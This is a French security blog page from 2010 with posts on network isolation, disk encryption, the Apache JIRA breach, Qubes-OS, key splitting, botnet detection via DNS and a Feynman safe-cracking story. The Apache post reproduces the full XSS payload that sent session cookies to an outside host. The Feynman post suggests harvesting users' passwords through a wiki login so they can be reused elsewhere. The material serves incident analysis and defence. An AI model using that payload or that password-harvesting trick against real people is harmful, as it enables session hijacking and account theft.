Ceci étant posé, comment réussir à augmenter le niveau de sécurité ou diminuer l'impact des failles du LAN?
Pour cela, pas de meilleure lecture que les ancêtres ;). En effet, je lisais dans un bouquin (dont je n'ai pas la référence ici) la manière dont une université avait donné accès à internet à un réseau sensible. En ces temps reculés, le masquage n'existait pas. De plus, l'université ne voulait pas router ces IP dû au caractère confidentiel des données sur les machines en question.
L'administrateur a installé une machine avec deux cartes réseaux (une côte LAN une côté internet), qui n'était pas configurée en routeur. Les utilisateurs se connectaient en telnet dessus, puis exportaient en X-DISPLAY le navigateur web sur leur poste local.
Je trouve cette idée excellente et riche d'enseignements, au point même que je pense qu'il faudrait y revenir, ce qui est réalisable en deux étapes.
Première étape: Lister les services dont ont besoin les utilisateurs, qui sont généralement les trois suivants
3- flux métiers (par exemple un accès à un serveur TSE ou un accès à une base de données)
Deuxième étape: couper la route par défauti des machines du LAN, d'ou le titre du post de ce blog. En listant ces services, on constate que l'on se passe très bien de passerelle par défaut, voire même de DNS. Le serveur SMTP/POP/IMAP est joint sur le réseau local ou à 1 hop maximum. Les flux réseaux également. Pour le web, il ne faut pas utiliser de proxy. En effet, un virus pourrait récupérer ce paramétrage et sortir sur internet. Il faut utiliser un export DISPLAY afin que seul l'affichage sur le poste local soit effectué. C'est là tout le principe de la méthode. Certains points sont en suspens; notemment l'utilisation d'un web très dynamique (flash, etc..) ou l'envoi de pièces jointes. Généralement ces deux points sont interdits par des politiques d'entreprise (et contournées :) ), avec un export DISPLAY, la politique d'entreprise est d'autant plus respectée que la configuration du navigateur reste sous la maîtrise de l'administrateur.
A peu près toute activité virulente ou offensive risque est donc stoppée dans l'oeuf. Toutes mes récentes lectures de blog de sécurité ou autre qui impliquent une attaque du LAN repose sur ces deux assomptions: A- La machine attaquée pourra résoudre un nom DNS. B- La machine attaquée pourra sortir sur internet. (S'ensuit des débats sans fin préconisant l'utilisation de HTTPS pour éviter les sondes IDS/IPS.)
Je n'ai pas encore vu de botnets ou d'attaques basées sur des communications entièrement asynchrones comme l'email [Cela ne veut pas dire que cela n'existe pas, je fais confiance à l'imagination débordante des pirates :) ].
Avec ma méthode, la gestion de la sécurité revient sur un périmètre gérable et maîtrisable par l'administrateur sécurité ce qui est un énorme gain. Il peut suivre un serveur de mail (ou un pool de), un serveur de sessions X, et une politique de route statique. A la limite, les machines du LAN peuvent ne plus être mises à jour puisque toute faille restera confinée.
En conclusion, essayez d'imaginer votre réseau local sans route par défaut et l'impact que cela donne sur la gestion de la sécurité. Supprimer la route par défaut semble techniquement réalisable, pourquoi s'en priver?
Publié par Kevin le 19.5.10 3 commentaires:
Je présente une conférence aux RMLL 2010 (Rencontres Mondiales du Logiciel Libre) sur le thème de la sécurité informatique intitulée "Le chiffrement de disque sous linux, vrai ou faux sentiment de sécurité?".
Je fournis sur ce blog l'abstract de cette conférence:
Cet article vise à démontrer que le chiffrement de disque sous linux, réalisé via l’utilisation du module noyau dm-crypt et du programme cryptsetup, fait l’objet d’une faille conceptuelle. En effet, le programme déchiffrant le disque réside sur une partition en clair. Il s’ensuit qu’un attaquant peut le modifier à sa guise pour obtenir le mot de passe des partitions chiffrées, ou pour placer un programme malveillant suite au déchiffrement des partitions.
Pour répondre à cette faille, le trusted computing est nécessaire, plus particulièrement la puce TPM et ses mesures des métriques du démarrage. Ainsi, les outils utilisant cette puce (TrustedGrub, trousers et tpm-tools) permettent de présenter une méthode novatrice pour obtenir un boot sécurisé d’une machine. Cette méthode assure que le système démarré est bien un système sain et non un système modifié par un attaquant.
La conférence à lieu le 7 juillet 2010, à 15h aux RMLL.
Publié par Kevin le 12.5.10 2 commentaires:
L'an dernier, apache s'était fait attaquer avec succès, via une clé SSH compromise, cf: http://exploitability.blogspot.com/2009/08/compromission-dapacheorg.html. Apache vient de publier un bulletin dans lequel ils expliquent s'être fait attaqués une nouvelle fois.
L'histoire est très bien racontée ici:
Je salue la transparence de l'équipe d'Apache qui n'hésite pas à donner des détails sur la manière dont l'attaque a été rendue possible. Ceci donne d'ailleurs matière à bloguer.
Il est indiqué que les attaquants ont utilisé une attaque XSS via un lien tinyurl:
"The attack was crafted to steal the session cookie from the user logged-in to JIRA"
"At the same time as the XSS attack, the attackers started a brute force attack against the JIRA login.jsp"
"On April 6th, one of these methods was successful." Mais sans préciser laquelle. Dommage.
Une seconde remarque, dont je parlais déjà lors de la première compromission, concerne la manière dont ces admins se sont rendus compte que quelque chose ne tournait pas rond. Il est simplement indiqué:
"About 6 hours after they started resetting passwords, we noticed the attackers and began shutting down services"
Et à cet instant, nous sommes déjà 3 jours après l'attaque initiale... Que se serait il passé si le ou les attaquants étaient restés plus discrets?
A propos de l'attaque a proprement parler.
Il est fait mention:
"ive got this error while browsing some projects in jira http://tinyurl.com/XXXXXXXXX [obscured] "
Une recherche google permet de retrouver facilement le bon tinyurl, et quelques manipulations plus tard, nous obtenons le XSS:
https://issues.apache.org/jira/secure/popups/colorpicker.jsp?element=name;}catch%28e%29{}%0D%0A--%3E%3C/script%3E%3Cnoscript%3E%3Cmeta%20http-equiv=%22refresh%22%20content=%220;url=http://pastie.org/904699%22%3E%3C/noscript%3E%3Cscript%3Edocument.write%28%27%3Cimg%20src=%22http://teap.zzl.org/teap.php?data=%27%2bdocument.cookie%2b%27%22/%3E%27%29;window.location=%22http://pastie.org/904699%22;%3C/script%3E%3Cscript%3E%3C!--&defaultColor=%27;try{//
Intéressant. Pour faire bref, on appelle bien une URL http://pastie.org/904699 qui ressemble à une stack trace Java. Mais au milieu, on peut lire
img%20src=%22http://teap.zzl.org/teap.php?data=%27%2bdocument.cookie
Donc lors de l'appel à cette page, une requête img src est faite sur le domaine teap.zzl.or/teap.php avec en argument le document.cookie. Ceci corrobore tout à fait le compte rendu de la fondation apache. Mais je pense, sans avoir testé, que l'admin en cliquant sur le tinyurl tombe sur la page de pastie.org. Ceci n'éveille donc pas de doutes de l'admin: on lui parle d'une erreur java, il lit une stack trace java.
(Le site teap.zzl.org redirige aujourd'hui vers zymic, pour une page 404)
L'hébergeur, Atlassian a communiqué sur ces failles,
http://jira.atlassian.com/browse/JRA-20994 et http://jira.atlassian.com/browse/JRA-20995 mais à l'heure actuelle le site est en arrêt pour maintenance.
Publié par Kevin le 14.4.10 Aucun commentaire:
Joanna Rutkowska, chercheuse émérite en sécurité vient de publier une nouvelle manière d'appréhender l'installation et l'utilisation d'un OS. Son domaine de prédilection en sécurité est le poste de travail. En effet, même si certaines personnes disent que "the network is the computer" (letimotiv de la compagnie Sun), elle explique qu'in fine, toutes les données à protéger sont bien sur un ordinateur, de préférence la machine locale devant l'utilisateur. Peu importe la manière dont on a pu sécuriser le réseau, les serveurs, les protocoles, si l'attaquant à la main sur la machine de l'utilisateur final, alors toute cette sécurité devient vaine: http://theinvisiblethings.blogspot.com/2010/01/priorities.html
Elle vient de publier un nouvel OS: Qubes-OS, ainsi que la documentation associée (44 pages).
Le concept clé derrière son idée de la sécurisation du poste de travail est l'isolation. La technologie d'isolation choisie est Xen. KVM a été évalué également, mais Xen semble plus simple à sécuriser et offre plus d'options selon invisible things. Chaque service est compartimenté dans une VM.
Il existe trois classes de VM: les services VM, les apps VM, et la desktop VM.
Desktop VM.
Cette VM est le dom0 en langage Xen, elle ne gère que l'écran le clavier et la souris et le lancement des autres VM. Entre autre, il n'y a pas de réseau configuré dans cette VM. Elle est réduite à son strict minimum.
services VM.
Nous trouvons ici les VM dédiées à une tâche particulière. Par exemple la VM réseau, qui, comme son nom l'indique, ne gère que les cartes réseaux. Les cartes ethernet et wifi sont dédiées à cette VM, et grâce à l'IOMMU des derniers CPU Intel (VT-d) l'isolation est parfaite. De plus, toute la stack IP est éxécutée en userland. Bénéfice? Si un attaquant prend le contrôle de cette machine, il n'a pas plus de droits que s'il avait pénétré le réseau local.
La machine stockage ne gère également que le stockage des disques des VM, sous forme chiffrée.
Apps VM. Il s'agit de VM dont le rôle diffère uniquement selon leurs usages. Invisible Things Labs propose 5 types de VM, classées de standard à haute confidentialité. Un utilisateur pourra donc tester tous les jeux et gadgets à la mode dans une VM, et conserver une VM pour aller faire ses opérations bancaires.
Ceci rappelle furieusement le concept des micro-noyaux, ce dont les auteurs ne se cachent pas..
Tout ceci est en train d'être abondamment twitté, bloggé, journalisé, etc..
La partie intéressante est la partie 8 de son pdf.
"8. Analysis of potential attack vectors". Bien entendu, il est indiqué que le code n'a pas été prouvé comme sûr et qu'il ne le sera sans doute jamais. Le hardware et le software deviennent trop compliqués pour être formellement vérifié. Le but de Qubes est uniquement de réduire la surface d'attaque.
Les attaques potentielles prennent toutes en compte qu'un attaquant a déjà compromis une VM et cherche a compromettre une seconde VM.
Publié par Kevin le 8.4.10 Aucun commentaire:
Dans le cadre d'une petite étude sur un PoC, je suis confronté au problème suivant.
Soit deux personnes, Alice et Bob, qui doivent accéder à des données. Alice a une clé, Bob a une clé. Mais Alice ou Bob pris seul ne doit pouvoir accéder aux données.
Dit autrement en des termes plus informatiques, j'ai une partition chiffrée via dm-crypt sous linux, et j'ai besoin de l'ouvrir avec deux clés. Chacune des clés prise séparément ne doit pas permettre l'ouverture de la partition. De plus chacune des clés ne doit pas faciliter l'attaque sur la partition chiffrée.
La première manière, simple, consiste à tout simplement concaténer les clés et les fournir à cryptsetup:
( echo -n $KEY_BOB$KEY_ALICE ) | cryptsetup luksOpen /dev/hda2 secret
Est il possible de faire mieux? Bien sûr. Deux méthodes donnent satisfaction.
1/ Il suffit d'utiliser le fameux chiffrement de Vernam .
Un XOR de la clé de Bob sur la clé d'Alice fournira une troisième clé permettant d'ouvrir la partition cryptsetup. Pour XOR-er facilement deux chaînes de caractères, un petit bout de code en C semble le plus efficace:
if (c != 3) return 1;
for(a = v[1], b = v[2]; *a && *b; a++, b++)
putchar(*a ^ *b);
Par construction, ni la clé de Bob ni la clé d'Alice ne fournit la moindre information sur la 3e clé permettant de déchiffrer la partition.
2/ Une autre solution consiste simplement à faire un hash sécurisé des deux clés:
(echo -n $KEY_BOB$KEY_ALICE ) | sha256sum | ...
Il faut faire attention que la sortie de sha256sum est limitée aux caractères [0-9][a-f]; il faut donc la retraiter pour la retransformer en 32 octets avant de la passer à cryptsetup.
Vérifions rapidement ces résultats. 32 octets pour protéger la clé, est-ce suffisant? 32 octets, c'est 2^256 possibilités. En imaginant qu'une machine puisse tester 100000 clés par secondes, il faudra
2^256/(100000x3600x24x365)=3.67x10^64 années pour faire le calcul, ce qui semble acceptable.
Ces solutions passent facilement à l'échelle si l'on souhaite ajouter des clés. Avec deux, trois, quatre ou 'n' clés, cela fonctionne toujours. Toutefois, cela devient un problème lorsque l'ouverture requiert, mettons dix personnes, et que l'une d'elle n'est pas présente. Shamir a inventé un protocole permettant un fonctionnement par seuil, par exemple pouvoir obtenir la clé de déchiffrement lorsque seulement 'x' personnes sont présentes parmi les 'y' à détenir une partie de la clé. Bien que cela dépasse mon propos initial (je n'ai besoin que de deux clés), la solution est très intéressante.
Je remercie les participants du groupe fr.misc.cryptologie pour les bonnes idées.
Publié par Kevin le 1.4.10 Aucun commentaire:
L'administrateur réseau et sécurité doit surveiller son réseau pour détecter des activités malveillantes afin d'y parer. Le problème est classique et revient à s'interroger sur ce qui différencie une action normale d'une action malveillante. L'evil Bit étant resté au rang de draft, le meilleur moyen consiste d'avoir des logs et de les consulter.
Le log management est une activité à part entière et généralement on est coincé entre des logs gigantesques contenant forcément l'information pertinente, mais noyée, et des logs réduits qui ne sont finalement que quelques statistiques facilement exploitables, mais loin d'être suffisantes.
Aujourd'hui, le risque, c'est le botnet. Les filtres IP en bordure deviennent puissants, de niveau applicatif, et il devient difficile de les attaquer de front. Toutefois, cela n'empêche pas les botnets de communiquer. Certains utilisent des protocoles de type P2P, ce qui peut se bloquer simplement, d'autres des requêtes web légitimes protocolairement parlant ce qui est bien plus compliqué à bloquer.
Toutefois, je pense qu'il est possible de tracer l'activité de machines zombifiées. Tout d'abord, il faut se poser la question: "que font ces machines?". Elles se connectent au canal de commande et contrôle, puis obéissent aux ordres reçus. Ces ordres sont (je schématise), soit envoyer du SPAM en quantités, soit servir de relais web (ou P2P) pour héberger du malware servant à infecter les futures victimes. La partie qui transforme la machine en site web ne m'intéresse pas. Regardons de plus près les autres activités.
Effectuons une analyse rétroactive. Ces machines vont donc tôt ou tard envoyer du SPAM. Cette activité revient à envoyer du mail. Comment envoie-t'on un mail? En débutant par une requête mail MX pour trouver l'adresse IP du serveur mail de destination. Ceci est donc une trace permettant de lever une suspicion légitime: toute machine de son réseau effectuant une requête DNS MX doit immédiatement être investiguée plus en avant.
Mais à l'origine, le zombie doit se connecter à son canal de commande. Encore une fois, il doit réaliser une requête DNS pour trouver l'adresse IP de destination. Il s'agit d'une requête de type A, banale, commune à toutes les autres requêtes. Toutefois, je pense qu'on peut creuser par là. Les domaines changent en permanence, inutile de vouloir corréler la dessus. Par contre, un point m'a toujours étonné: comment font ces botmaster pour déposer 5000 noms de domaines par jour, alors qu'en déposer un me coute 5 euros? La réponse est simple, il suffit de trouver un registrar complaisant. Et ce point me semble suffisement important pour être noté.
Donc il suffit de surveiller son DNS, et chercher les authoritative DNS pour chaque domaine interrogé. Ensuite, une liste est faite entre les DNS "finaux" si je peux dire, et les requêtes faites par les machines locales. Cette liste permettra d'indiquer une part de "crédibilité" du serveur DNS répondant du domaine. Si un léger pourcentage des machines de mon réseau interroge régulièrement des serveurs DNS hébergés chez un fournisseur n'ayant pas toute les garanties, cela doit être un signal d'alarme.
Comment connaître ces DNS douteux? Je pense que la géolocalisation IP est une piste qui doit être corrélée avec les AS contenant les serveurs.
Petit à petit, il doit être possible de donner un indice d'innocuité ou non à des serveurs DNS, à la manière de DNSBL ou autre mécanisme de ranking.
Idéalement, il serait sans doute possible d'identifier un botnet via ses serveurs DNS de références (quel AS, quel registrar, etc...)
Le volume de ces données doit rester gérable même pour des gros réseaux en fonction des doublons. Chaque nom de domaine doit être unique dans la base. Ensuite, chaque enregistrement des serveur DNS doit remonter la liste des domaines dont il s'occupe.
Quoi qu'il en soit, cela ne réglera pas le problème des botnets. Cette méthode permet à mon avis d'être plus proactif dans la détection des machines zombifiées sur un gros réseau uniquement avec une analyse des logs DNS:
-si une machine émet une requête DNS MX, alors une analyse est nécessaire
-un log continu des requêtes DNS A des machines doit permettre de trouver assez rapidement quelles machines vont se connecter sur le botmaster, et devra mener à une analyse approfondie.
Pour valider cette analyse j'aurais besoin de grandes quantités de trafic DNS sur un réseau vaste. Je ne pense pas que cela se trouve facilement sur internet. Toutefois, cela mériterait qu'on s'y arrête, ne serait-ce que pour essayer.
Publié par Kevin le 16.3.10 3 commentaires:
Je viens de finir de lire "Vous voulez rire, Mr Feynman" par lui-même. Il retrace entre autre la manière dont il est devenu un expert en ouverture de coffres-forts.
Mr Feynman, physicien de profession (Nobelisé) a travaillé pour le projet Manhattan. Les documents relatifs aux recherches devaient bien entendu être stockés de manière sécurisée. A cette époque, il n'y avait pas d'informatique, mais la problématique de la sécurisation de l'information était la même qu'aujourd'hui.
Tout d'abord, il s'est rendu compte que les coffres ne fermaient tout simplement pas (!). Il suffisait de passer la main par l'arrière du coffre pour accéder aux documents.
Si on parle d'informatique sécurisée, cela signifie qu'il est donc essentiel de pouvoir valider la solidité de l'algorithme employé.
Suite à cela, de nouveaux coffres sont arrivés, disposant de trois roues crantées, allant de 00 à 99. Feynman s'y est attaqué par jeu. Il n'était pas possible de contourner la porte pour accéder aux documents. Après quelques tests pour mettre les roues en place manuellement, tester l'ouverture, changer de combinaison etc, il s'est rendu compte que le bruteforce n'était pas réalisable.
Après s'être renseigné sur les méthodes des perceurs de coffres, il s'est rendu compte que les méthodes se basaient sur l'intuition mélée à de la chance. En effet, il était conseillé de tester des dates connues, des dates de naissances, des chiffres particuliers (comme 3.14159, ou 2.71828). L'autre solution consistant à chercher des papiers collés sur le bureau ou dans les tiroirs sur lesquels étaient inscrits des chiffres sans signification évidentes. Il est intéressant de retrouver rigoureusement les mêmes conseils à l'heure de l'informatique; seul le post-it a remplacé le papier scotché ;)
Ces méthodes ne lui ont pas permis d'ouvrir beaucoup de coffres; il préférait trouver une méthode fiable pour pouvoir tous les ouvrir.
Après quelques tests, il s'est rendu compte que les roues crantées avaient du jeu. En effet, si 45 était la valeur correspondant à une roue, alors 43, 44, 45, 46 et 47 fonctionnaient aussi. Après quelques entrainements, il a calculé que le bruteforce tombait à 8h pour toutes les combinaisons. C'était malgré tout toujours trop. Après plusieurs tests complémentaires sur son coffre, il a vu que lorsque le coffre était ouvert il pouvait facilement manipuler la première et seconde roue, ce qui lui permettait de connaitre avec une précision acceptable leurs valeurs. Le brute force (qui ne se faisait que sur la troisième roue et quelques valeurs des deux premières tombait à 20mn).
Il est donc allé voir ses collègues, et tout en discutant, il s'approchait de leur coffres ouvert en manipulant les roues. Après quelques temps, il a connu la plupart des codes des deux premières roues de la majorité de ses collègues. Cela lui assurait un grand prestige lors des situations de crises ou un document nécessaire était indispensable et la personne absente. Il ajoutait un peu de cinéma ("laissez moi seul avec mes outils et le coffre") et sa réputation fût faite. S'il s'agisssait d'un bureau dont il ne connaissait pas le code, il prétextait un travail urgent pour ne pas avoir à le faire.
Le bruteforce est resté, il s'est simplement réduit. En crypto, on retrouve un peu les mêmes méthodes. Si le code est solide, alors on fait de la bruteforce. Si la bruteforce est hors de portée, alors on réduit l'espace de solutions pour que la bruteforce redescende en un temps acceptable. A force de travailler avec des gens, il est fréquent de connaître une partie de leurs mots de passes. Untel qui a tapé son mot de passe derrière son login sans taper entrée, tel autre qui n'utilise que le pavé numérique, etc..
Pour finir, deux anecdotes. Le général en chef, sachant que Feynman était fort pour ouvrir des coffres, s'est fait livrer le coffre le plus gros le plus lourd et le plus cher qu'il existait. Il se méfiait énormément de Feynman, l'empêchant d'accéder au coffre. Un jour vint, ou il fallait un document dans ce coffre alors que le général était absent et injoignable. Feynman a décliné l'offre lui demandant de l'ouvrir. Malgré tout le coffre a été ouvert par le serrurier de la base! Ce serrurier avait en effet constaté que les coffres de cette compagnie arrivait avec deux codes, toujours les mêmes. Il a essayé le premier, échec. Le second code l'a ouvert :) Feynman s'est immédiatement renseigné sur les codes par défaut avec lesquels étaient livrés les coffres.
Une autre fois, Feynman attendait un collègue dont il ne connaissait pas les codes des deux premières roues. Il a essayé e au cas ou (e=2.71828, soit 27-18-28). Le coffre s'est ouvert. Avisant un second coffre, il essaye le même code, qui fonctionne aussi. Et cela s'est reproduit avec les 6 coffres de ce bureau. N'utilisez jamais le même code de partout! Pour connaître un très grand nombre de codes, montez dans votre entreprise (ou site web communautaire) un quelconque truc (genre wiki) qui demande une authent. Ré-essayez les codes que les utilisateurs vont vous fournir sur d'autres accès.. Le succès est garanti.
Les technologies changent, mais les faiblesses humaines restent décidément les mêmes :)
Publié par Kevin le 11.3.10 Aucun commentaire:
Google, firefox et clickjacking
Le clickjacking est une technique ancienne permettant de tromper l'utilisateur: il pense cliquer sur un lien, mais cela l'envoie vers une autre URL.
Le clickjacking le plus basique consiste à différencier le HREF du lien pointé par exemple en indiquant:
<a href="http://www.evil.com/">http://innocent.com</a>
et l'utilisateur inconséquent pensera aller sur innocent.com. Toutefois, les utilisateurs avisés surveillent la barre du bas de leur navigateur qui indique le lien réellement pointé.
Il semble que Google vient de mettre un système de clickjacking particulièrement efficace lorsque vous êtes sous firefox (testé sous Mac et windows, Safari sous Mac ne semble pas impacté, IE non testé).
Voici une page de résultat classique avec le lien qui s'affiche lorsque je passe la souris sur un lien de résultat:
On voit que le lien pointé 'adwords.google.com' correspond bien au lien affiché.
Voici le lien qui change dès l'instant ou je clique dessus; un clic droit -> Copier la cible du lien sous enregistre bien l'URL "googlisé".
Le lien complet est:
http://www.google.fr/url?sa=t&source=web&ct=res&cd=1&ved=0CAcQFjAA&url=http%3A%2F%2Fadwords.google.com%2F&rct=j&q=google+click&ei=rlttS-XZBom04gbM_LyqBw&usg=AFQjCNHpRZBbV_ZQDlEK2yop_qrx1e0uJg
La raison en est dûe à un bout de javascript qui joue sur le onmousedown :
C'est efficace, mais cela est tout de même un peu effrayant. A partir du moment ou google utilise
cette méthode, cela signifie deux choses:
Google traque nos données, ça on le sait. La nouveauté c'est que Google traque également les clics sur ses résultats de recherche. Il y a le même mécanisme sur google news. Je pense que google doit faire des stats pour connaître les liens les plus cliqués: s'agit t'il des liens en première page? En deuxième page?
Si google peut faire ça, tout le monde peut le faire avec un bout de javascript. Comment avoir confiance dans les liens sur lesquels on clique?
Peut-être un rapport de bug à remonter à Mozilla corp?
EDIT 07/02/2010: Le bugreport existe déjà. https://bugzilla.mozilla.org/show_bug.cgi?id=229050 et il est bien fait mention de google dans les dernières activités. Ceci dit, le bug a été ouvert en ... 2003.
Publié par Kevin le 6.2.10 1 commentaire:
UVB-76 UVB-76 t i n y u r l 3 4 8 7 4 9 6 -- UV...
route del default (ou: "et si on réglait définitiv...

References: L'article 4
 l'article 11

L'article 6

L'article 8
 l'article 6

L'article 11
in fine